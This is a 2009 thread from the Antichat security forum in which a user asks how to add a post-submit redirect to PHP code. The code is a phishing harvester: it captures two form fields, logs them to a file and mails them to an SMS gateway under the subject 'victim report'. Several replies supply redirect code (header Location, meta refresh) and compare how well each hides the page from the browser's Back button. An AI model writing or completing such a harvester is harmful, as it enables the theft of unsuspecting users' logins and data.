ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
[php] переход на страницу:) |

15.06.2009, 13:17
|
|
Новичок
Регистрация: 05.05.2009
Сообщений: 14
Провел на форуме: 28420
Репутация:
1
|
|
[php] переход на страницу:)
скажите пожалуйста как сделать так чтоб после завершения выполнения php кода перебрасывало на другую страницу  к примеру на http://ya.ru
вот мой код:
PHP код:
<form action="" method="post">
<p><img src="1.jpg" " width="982" height="222" /></p>
<p><img src="../01.jpg" width="232" height="35" />
<textarea name="field1"></textarea>
</p>
<p>
<span class="стиль5"><img src="../02.jpg" width="234" height="37" /></span>
<textarea name="field2"></textarea>
</p>
<p>Всё ввели? тогда жмите на кнопку ==>
<input type="submit" class="стиль5" value="OK">
<p> </p>
</form
><?
if(!empty($_POST)) {
$msg = $_POST['field1'].' '.$_POST['field2']."\r\n";
$fp = fopen('mojo.txt','a');
fwrite($fp, $msg);
fclose($fp);
mail('XXXXXXXXXXX@sms.megafoncenter.ru', 'Ot4et }I{ePTBa', $msg);
}
?>
Последний раз редактировалось Sharky; 15.06.2009 в 18:07..
Причина: учимся оформлять код
|
|
|

15.06.2009, 13:24
|
|
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме: 5151669
Репутация:
1198
|
|
PHP код:
echo'<META HTTP-EQUIV=Refresh Content="11;URL=http://ya.ru">';
указываешь кол-во секунд и он перенаправляет на ya.ru =)
|
|
|

15.06.2009, 13:26
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
PHP код:
header ('Location: http://ya.ru');
|
|
|

15.06.2009, 13:27
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме: 12942062
Репутация:
1550
|
|
Или же
PHP код:
header('Location: http://ya.ru');
Но сессию нчать, чтобы проблемы с хедерами не было.
|
|
|

15.06.2009, 13:29
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
1. header .... or die
2. echo'<META HTTP-EQUIV=Refresh Content="11;URL=http://ya.ru">'; - можно нажать кнопочку "Назад"
|
|
|

15.06.2009, 14:19
|
|
Новичок
Регистрация: 05.05.2009
Сообщений: 14
Провел на форуме: 28420
Репутация:
1
|
|
спасибо всем 
|
|
|

15.06.2009, 14:50
|
|
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме: 5151669
Репутация:
1198
|
|
2. echo'<META HTTP-EQUIV=Refresh Content="11;URL=http://ya.ru">'; - можно нажать кнопочку "Назад"[/QUOTE]
о чем ты, какая ещё кнопка назад)))
если ты про то что долго?) то там есть две циферки) их регулировать можно) т.е. вывести как ...ent="0;URL=h........ и она сразу перенаправит)
Последний раз редактировалось Sn@k3; 15.06.2009 в 14:57..
|
|
|

15.06.2009, 15:13
|
|
Познающий
Регистрация: 27.12.2006
Сообщений: 37
Провел на форуме: 1253202
Репутация:
133
|
|
"Вперед" "Назад" кнопочки браузера перехода по истории страниц.
Метод "Refresh" перенаправляет пользователя в текущей вкладке на URL, при этом можно вернутся на страницу которая перенаправила.
А header посылает заголовок с параметром location=URL, что не дает возможности перейти обратно на скрипт, который тя перенаправил
|
|
|

15.06.2009, 15:18
|
|
Постоянный
Регистрация: 13.10.2007
Сообщений: 347
Провел на форуме: 1345617
Репутация:
115
|
|
Сообщение от Sn@k3
2. echo'<META HTTP-EQUIV=Refresh Content="11;URL=http://ya.ru">'; - можно нажать кнопочку "Назад"
о чем ты, какая ещё кнопка назад)))
если ты про то что долго?) то там есть две циферки) их регулировать можно) т.е. вывести как ...ent="0;URL=h........ и она сразу перенаправит)[/QUOTE]
про то что можно потом обратно вернуться... а при header нельзя
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|